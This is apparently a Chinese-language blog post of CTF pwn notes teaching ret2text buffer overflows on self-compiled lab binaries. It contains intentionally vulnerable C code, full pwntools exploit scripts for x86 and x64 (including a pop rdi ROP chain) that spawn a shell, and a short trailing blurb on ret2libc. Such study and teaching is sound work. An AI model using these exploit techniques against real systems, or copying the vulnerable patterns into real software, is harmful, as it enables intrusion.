pwn笔记 - ret2text - 函数传参(x86&x64)

注: ret2text即控制返回地址指向程序本身已有的的代码(.text)并执行。


例题1部署(无需函数传参情况)

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
char shell[] = "/bin/sh";
int func(char *cmd){
	system(shell);
	return 0;
}

int dofunc(){
	char a[8]={};
	write(1,"inputs: ",7);
	read(0,a,0x100);
	return 0;
}
	
int main(){
	dofunc();
	return 0;
}

 生成64位可执行文件,-no-pie 去除地址随机化,-fno-stack-protector去除canary机制溢出保护。

gcc ret2text_func.c -no-pie -fno-stack-protector -o ret2text_func_x86_1

checksec检查一下,没有问题

看代码可以很容易发现,func函数中就有可以直接调用的system函数,且其参数shell = “/bin/sh”已经满足getshell需求。且未开启溢出保护,只需要利用read函数通过dofunc中的参数a溢出覆盖返回地址将其引导到func的地址即可。

利用ida简单查看一下偏移量为0x8+0x8 = 0x10。

 gdb查看func地址为0x401146

 书写payload并运行,很容易得到shell

from pwn import *
#配置信息
context(log_level='debug',arch='amd64',os='linux')
#context(arch='arm64',os='linux')

#打开路径
io = process('./test')
#调试信息
#gdb.attach(io)
#pause()

#注入信息
payloadtext = 0x401146
padding = 0x10
payload = padding*b'a' + p64(payloadtext)
dem = b'inputs: \n'
io.sendlineafter(dem,payload)
io.interactive()

 例题2部署(函数传参)

多数函数并不会直接将“shell = '/bin/sh'”这种危险字符串和system函数放在一起。代码如下

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
char shell[] = "/bin/sh";
int func(char *cmd){
	system(cmd);//不同处
	return 0;
}

int dofunc(){
	char a[8]={};
	write(1,"inputs: ",7);
	read(0,a,0x100);
	return 0;
}
	
int main(){
	dofunc();
	return 0;
}

准备好x86和x64两种可执行文件

gcc -m32 ret2text_func2.c -no-pie -fno-stack-protector -o ret2text_func2_x86
gcc ret2text_func2.c -no-pie -fno-stack-protector -o ret2text_func2_x64 

函数调用约定

_cdecl:        c/c++默认方式,参数从右向左入栈,主调函数负责栈平衡。

_stdcall:        Windows API方式,参数从右向左入栈,被调函数负责栈平衡。

_fastcall:        快速调用方式。即将参数优先从寄存器传入(ecx和edx),剩下的参数从右向左入栈。由于栈位于内存区域,而寄存器位于cpu内,存取快于内存。

这里讲述默认的gcc调用约定_cdecl的一些特点。

 x86

  • 使用栈传递参数
  • 使用eax存放返回值

x64

  • 前六个参数依次存放于rdi,rsi,rdx,rcx,r8,r9中
  • 多余的参数存放于栈中

x86题解方法

对于函数传参的函数,其栈格式为

 故而我们需要利用溢出覆盖返回地址进入func函数内部,再将参数一指向“/bin/sh”的储存地址即可。其中要注意的是r处需要我们进行垃圾数据的填充。具体原因在文章末尾体现。

现在利用gdb查找func函数地址和sh存放地址(具体偏移量由ida查看不再详细讲解)

书写payload:

from pwn import *
#配置信息
context(log_level='debug',arch='i386',os='linux')
#context(arch='arm64',os='linux')

#打开路径
file = './ret2text_func2_x86'
io = process(file)
elf = ELF(file)
rop = ROP(file)
#调试信息
#gdb.attach(io)
#pause()

#注入信息
sh_addr = 0x804c018
#ret_addr = 0x8049186
ret_addr = elf.symbols['func']

padding = 0x14
payload = padding*b'a' + p32(ret_addr) + p32(0) + p32(sh_addr)
dem = b'inputs:'
io.sendlineafter(dem,payload)
io.interactive()

 成功


x64

对x64的参数,大部分情况下,前六个参数储存在寄存器内,无法直接使用简单的栈溢出修改寄存器内容,这时候我们需要解除ROPgadget工具进行辅助。

ROP(Return Oriented Programming),即返回导向编程,通过栈溢出内容覆盖返回地址,使其跳转到可执行文件中已有的片段代码中执行我们选择的代码段。

知道了ROP工具的功能,我们需要做的是

  1. 修改rdi的值(可使用代码pop rdi ; ret)
  2. 在栈中放入‘bin/sh’经由pop提交给rdi
  3. 进入func函数内调用system函数

利用gdb查找func函数地址和sh存放地址(具体偏移量由ida查看不再详细讲解):

 利用ROPgadget查找需要的代码行--pop rdi ; ret

ROPgadget --binary ret2text_func2_x64 --only 'pop|ret'

 构造payload:

from pwn import *
#配置信息
context(log_level='debug',arch='amd64',os='linux')
#context(arch='arm64',os='linux')

#打开路径
file = './ret2text_func2_x64'
io = process(file)
elf = ELF(file)
rop = ROP(file)
#调试信息
gdb.attach(io)
pause()

#注入信息
sh_addr = 0x404028
#ret_addr = 0x401146
ret_addr = elf.symbols['func']
pop_rdi_ret = 0x40121b

padding = 0x10
payload = padding*b'a' + p64(pop_rdi_ret) + p64(sh_addr)+ p64(ret_addr)
dem = b'inputs:'
io.sendlineafter(dem,payload)
io.interactive()

运行成功pwn掉 

 


x86题解补充疑问

对于本题的函数传参,我们的栈帧构造初步想法如图

ebp‘aaaa’
rreturn to func
参数一“/bin/sh”
  1. 输入适量垃圾填充 padding * b 'a'
  2. 覆盖返回地址指向func函数 p32(ret_addr)
  3. 参数"/bin/sh"地址

则payload =  padding*b'a' + p32(ret_addr)  + p32(sh_addr)

然而这样的脚本在攻击时会出错。原因在于:

正常的函数调用call来达到push eip;jmp的作用,经过初步payload构造的攻击如下图所示,是通过覆盖return达到jmp的作用的,并没有像call一样push eip到栈中。

 故而ret执行后,ebp后为我们输入的参数而非eip原地址(函数结束后返回的地址),而函数读取参数的位置在上文中已经展示,为 ebp+0x8。故而在利用ret2text覆盖pwn题时候,需要自行加入一行栈帧的填充。

 

  • 6
    点赞
  • 32
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
pwn ret2libc是一种攻击技术,其原理是通过利用程序中的栈溢出漏洞,来控制程序的执行流程,以达到执行libc中的函数的目的。 在ret2libc攻击中,程序会调用libc库中的函数,例如system函数,来执行特定的操作。但是在程序中没有自带的/bin/sh字符串,所以需要通过其他方式获取执行shell命令的能力。 具体而言,攻击者会利用程序中的栈溢出漏洞,将栈上的返回地址修改为在libc库中的某个函数的地址,例如puts函数。然后通过执行puts函数,将栈上保存的函数地址打印出来。由于libc库中的函数地址相对位置是不变的,攻击者可以根据已知的函数地址和libc的版本来计算system函数的真实地址。然后再利用system函数执行特定的操作,比如执行shell命令。 总结来说,pwn ret2libc攻击的原理是通过栈溢出漏洞修改返回地址为libc库中的一个函数地址,然后根据已知的函数地址和libc的版本计算出system函数的真实地址,最终实现执行shell命令的目的。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [pwn学习——ret2libc2](https://blog.csdn.net/MrTreebook/article/details/121595367)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [pwn小白入门06--ret2libc](https://blog.csdn.net/weixin_45943522/article/details/120469196)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值